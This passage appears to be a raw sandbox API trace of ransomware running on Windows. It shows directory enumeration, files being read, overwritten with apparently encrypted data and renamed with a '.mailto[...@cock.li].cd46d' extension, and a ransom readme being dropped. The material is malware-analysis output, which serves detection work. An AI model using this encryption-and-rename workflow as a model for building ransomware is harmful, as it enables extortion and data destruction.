ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440820 [0049.845] wcscmp (_String1=".", _String2=".") returned 0 [0049.845] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.845] wcscmp (_String1="..", _String2=".") returned 1 [0049.845] wcscmp (_String1="..", _String2="..") returned 0 [0049.845] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0049.845] wcscmp (_String1="Maple.gif", _String2=".") returned 1 [0049.845] wcscmp (_String1="Maple.gif", _String2="..") returned 1 [0049.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x4ee1f8 [0049.846] wcscpy (in: _Dest=0x4ee1f8, _Source="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" [0049.846] wcscat (in: _Dest=0x4ee1f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\" [0049.846] wcscat (in: _Dest=0x4ee1f8, _Source="Maple.gif" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif" [0051.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee1f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd70 [0051.591] FindNextFileW (in: hFindFile=0x440820, lpFindFileData=0x424ab0 | out: lpFindFileData=0x424ab0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 0 [0051.592] FindClose (in: hFindFile=0x440820 | out: hFindFile=0x440820) returned 1 [0051.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424ab0) returned 1 [0051.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417500) returned 1 [0051.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416ff0) returned 1 Thread: id = 539 os_tid = 0xf5c [0049.346] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl")) returned 0x20 [0049.346] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", dwFileAttributes=0x20) returned 1 [0059.057] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9ac [0059.057] GetFileSizeEx (in: hFile=0x9ac, lpFileSize=0x2eefb4c | out: lpFileSize=0x2eefb4c*=14972) returned 1 [0059.057] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x3a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.057] ReadFile (in: hFile=0x9ac, lpBuffer=0x2eefad0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2eefacc, lpOverlapped=0x0 | out: lpBuffer=0x2eefad0*, lpNumberOfBytesRead=0x2eefacc*=0x4, lpOverlapped=0x0) returned 1 [0059.058] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.058] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0330 [0059.058] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0178 [0059.058] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d01a0 [0059.058] NtQuerySystemTime (in: CurrentTime=0x2eefaac | out: CurrentTime=0x2eefaac*=132174898230384000) returned 0x0 [0059.058] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x16c87b9b [0059.058] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x29eaae2d [0059.058] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x13117260 [0059.058] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x2b169b6d [0059.058] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x2e30c1a6 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x4aaed38a [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x25165d80 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x5b16f6cc [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x280469ac [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x1035ae8a [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x5e19651a [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x742a95bd [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x2214c5ac [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x7cc41400 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x5876a1af [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x65c99575 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x593c34d1 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x19c3e3da [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x7ab7632f [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x208fcf59 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0xc49c253 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x74e4460f [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x2b3cbf6 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x7624a657 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x42803592 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x2cc312ed [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0xc6c7bb0 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x1584385f [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x32833a28 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x5e0527d2 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x2b25d963 [0059.059] RtlRandomEx (in: Seed=0x2eefab8 | out: Seed=0x2eefab8) returned 0x33d40eb8 [0059.071] ReadFile (in: hFile=0x9ac, lpBuffer=0x1970f1b8, nNumberOfBytesToRead=0x3a7c, lpNumberOfBytesRead=0x2eefaa8, lpOverlapped=0x0 | out: lpBuffer=0x1970f1b8*, lpNumberOfBytesRead=0x2eefaa8*=0x3a7c, lpOverlapped=0x0) returned 1 [0059.073] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.073] WriteFile (in: hFile=0x9ac, lpBuffer=0x1971b9c0*, nNumberOfBytesToWrite=0x3a7c, lpNumberOfBytesWritten=0x2eefaa4, lpOverlapped=0x0 | out: lpBuffer=0x1971b9c0*, lpNumberOfBytesWritten=0x2eefaa4*=0x3a7c, lpOverlapped=0x0) returned 1 [0066.264] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412d0 [0066.264] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441618 [0066.264] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441618) returned 1 [0066.265] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1971b9c0) returned 1 [0066.265] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1970f1b8) returned 1 [0066.269] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437238) returned 1 [0066.269] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be50) returned 1 [0066.269] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cecc0 [0066.269] SetFilePointerEx (in: hFile=0x9ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.269] WriteFile (hFile=0x9ac, lpBuffer=0x4ef960, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x2eefb0c, lpOverlapped=0x0) Thread: id = 540 os_tid = 0xf60 [0049.347] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl")) returned 0x20 [0049.856] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL", dwFileAttributes=0x20) returned 1 [0049.856] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\pending.grl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x23c [0049.857] GetFileSizeEx (in: hFile=0x23c, lpFileSize=0xd58fda0 | out: lpFileSize=0xd58fda0*=14972) returned 1 [0049.857] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x3a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.857] ReadFile (in: hFile=0x23c, lpBuffer=0xd58fd24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd58fd20, lpOverlapped=0x0 | out: lpBuffer=0xd58fd24*, lpNumberOfBytesRead=0xd58fd20*=0x4, lpOverlapped=0x0) returned 1 [0049.858] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eda98 [0049.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edac0 [0049.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edae8 [0049.858] NtQuerySystemTime (in: CurrentTime=0xd58fd00 | out: CurrentTime=0xd58fd00*=132174898138344000) returned 0x0 [0049.858] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x39bd21bc [0049.858] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x9c24a1b [0049.858] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x46e7ec9b [0049.858] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x1f6fbb22 [0049.858] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x7bbabb91 [0049.858] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x1d6c4b5f [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x5ed20eac [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x2584e0b4 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x466a2f65 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x36577ffd [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x46be00b9 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x1c080386 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x70b3a083 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x6aa48fcf [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x1afb1a53 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x641e4b71 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x1753327f [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x5d47028c [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x655886ea [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x5438fc35 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x5be6fbde [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x2372fc03 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x372f62cd [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x5cfb17a2 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x214fecbd [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x38249a89 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x22489e3c [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x49d4c6b5 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x2311045f [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x440ac524 [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x21960e6e [0049.859] RtlRandomEx (in: Seed=0xd58fd0c | out: Seed=0xd58fd0c) returned 0x4f582aea [0049.873] ReadFile (in: hFile=0x23c, lpBuffer=0x9708810, nNumberOfBytesToRead=0x3a7c, lpNumberOfBytesRead=0xd58fcfc, lpOverlapped=0x0 | out: lpBuffer=0x9708810*, lpNumberOfBytesRead=0xd58fcfc*=0x3a7c, lpOverlapped=0x0) returned 1 [0049.874] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.874] WriteFile (in: hFile=0x23c, lpBuffer=0x9715018*, nNumberOfBytesToWrite=0x3a7c, lpNumberOfBytesWritten=0xd58fcf8, lpOverlapped=0x0 | out: lpBuffer=0x9715018*, lpNumberOfBytesWritten=0xd58fcf8*=0x3a7c, lpOverlapped=0x0) returned 1 [0055.452] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0290 [0055.452] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d07b8 [0055.452] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07b8) returned 1 [0055.452] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9715018) returned 1 [0055.452] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9708810) returned 1 [0055.455] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a2b8) returned 1 [0055.455] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402768) returned 1 [0055.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x4088c0 [0055.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402768 [0055.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a2b8 [0055.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d07b8 [0055.455] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07b8) returned 1 [0055.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97ce8a0 [0055.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d07b8 [0055.456] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0808 [0055.456] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0808) returned 1 [0055.456] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a2b8) returned 1 [0055.456] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402768) returned 1 [0055.456] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x107) returned 0x44e420 [0055.456] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.456] WriteFile (in: hFile=0x23c, lpBuffer=0x44e420*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0xd58fd60, lpOverlapped=0x0 | out: lpBuffer=0x44e420*, lpNumberOfBytesWritten=0xd58fd60*=0x107, lpOverlapped=0x0) returned 1 [0056.826] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0056.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0056.855] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07b8) returned 1 [0056.855] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0056.855] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0290) returned 1 [0056.855] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edac0) returned 1 [0056.855] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edb10) returned 1 [0056.855] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edb38) returned 1 [0056.855] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee5b8 [0056.855] wcscpy (in: _Dest=0x4ee5b8, _Source="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" [0056.855] wcscat (in: _Dest=0x4ee5b8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.mailto[2Hamlampampom@cock.li].cd46d" [0056.855] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xd58fd18, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\MF\\Pending.GRL.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.855] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae) returned 0x45bfb8 [0057.467] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45bfb8) returned 1 [0057.467] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f3700) returned 1 [0057.467] NtQueryInformationFile (in: FileHandle=0x23c, IoStatusBlock=0xd58fd24, FileInformation=0xd58fcfc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xd58fd24, FileInformation=0xd58fcfc) returned 0x0 [0057.467] NtSetInformationFile (FileHandle=0x23c, IoStatusBlock=0xd58fd24, FileInformation=0xd58fcfc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0057.468] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee5b8) returned 1 [0057.469] FlushFileBuffers (hFile=0x23c) returned 1 [0057.491] CloseHandle (hObject=0x23c) returned 1 [0057.492] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x445d10 [0057.492] wcscpy (in: _Dest=0x445d10, _Source="C:\\ProgramData\\Microsoft\\MF\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0057.492] wcscat (in: _Dest=0x445d10, _Source="CD46D-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\CD46D-Readme.txt") returned="C:\\ProgramData\\Microsoft\\MF\\CD46D-Readme.txt" [0057.492] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\CD46D-Readme.txt" (normalized: "c:\\programdata\\microsoft\\mf\\cd46d-readme.txt")) returned 0xffffffff [0057.492] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\CD46D-Readme.txt" (normalized: "c:\\programdata\\microsoft\\mf\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0057.492] WriteFile (in: hFile=0x23c, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xd58fd20, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0xd58fd20*=0x6fd, lpOverlapped=0x0) returned 1 [0057.493] CloseHandle (hObject=0x23c) returned 1 [0057.494] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445d10) returned 1 [0057.494] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414200) returned 1 Thread: id = 541 os_tid = 0xf64 [0049.348] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45e7b8 [0049.348] wcscpy (in: _Dest=0x45e7b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" [0049.348] wcscat (in: _Dest=0x45e7b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\" [0049.348] wcscat (in: _Dest=0x45e7b8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*" [0049.348] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424d18 [0049.348] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a1a8 [0049.348] wcscmp (_String1=".", _String2=".") returned 0 [0049.348] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.348] wcscmp (_String1="..", _String2=".") returned 1 [0049.348] wcscmp (_String1="..", _String2="..") returned 0 [0049.348] FindNextFileW (in: hFindFile=0x40a1a8, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0049.348] wcscmp (_String1="10.0", _String2=".") returned 1 [0049.348] wcscmp (_String1="10.0", _String2="..") returned 1 [0049.348] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x4467f8 [0049.348] wcscpy (in: _Dest=0x4467f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" [0049.348] wcscat (in: _Dest=0x4467f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\" [0049.348] wcscat (in: _Dest=0x4467f8, _Source="10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS 